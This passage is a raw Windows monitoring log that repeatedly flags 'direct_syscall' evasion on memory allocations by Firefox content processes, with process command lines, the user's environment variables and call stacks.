{6babddd3-1bbd-4280-91b3-560616747071} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 9804 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 21 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2528765 + Pid: 19156 + Tid: 3736 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.2475 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 548c97a000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 19156, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 19156 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7548:48747 -prefMapHandle 11952:292858 -jsInitHandle 17516:224660 -parentBuildID 20251118022223 -ipcHandle 19248 -initialChannelId {a4d0651c-772f-4de8-8b84-cee087416d1d} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 18256 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 98 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7548:48747 -prefMapHandle 11952:292858 -jsInitHandle 17516:224660 -parentBuildID 20251118022223 -ipcHandle 19248 -initialChannelId {a4d0651c-772f-4de8-8b84-cee087416d1d} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 18256 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 98 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2529185 + Pid: 18020 + Tid: 5572 + Type: VirtualAlloc + CPU: 3 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.3554818 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ f17bd4a000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 18020, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 18020 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3524:48747 -prefMapHandle 13540:292858 -jsInitHandle 8676:224660 -parentBuildID 20251118022223 -ipcHandle 14264 -initialChannelId {f33d3a61-5a9b-4519-97b3-edd33098b24a} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 14172 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 41 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3524:48747 -prefMapHandle 13540:292858 -jsInitHandle 8676:224660 -parentBuildID 20251118022223 -ipcHandle 14264 -initialChannelId {f33d3a61-5a9b-4519-97b3-edd33098b24a} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 14172 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 41 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2529437 + Pid: 18052 + Tid: 17212 + Type: VirtualAlloc + CPU: 3 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.5123801 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 8cec6ba000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 18052, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 18052 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 12596:48747 -prefMapHandle 13636:292858 -jsInitHandle 13624:224660 -parentBuildID 20251118022223 -ipcHandle 13616 -initialChannelId {afb89bb1-0fa9-4cf7-9376-551cfb9d89cc} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 12928 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 42 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 12596:48747 -prefMapHandle 13636:292858 -jsInitHandle 13624:224660 -parentBuildID 20251118022223 -ipcHandle 13616 -initialChannelId {afb89bb1-0fa9-4cf7-9376-551cfb9d89cc} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 12928 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 42 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 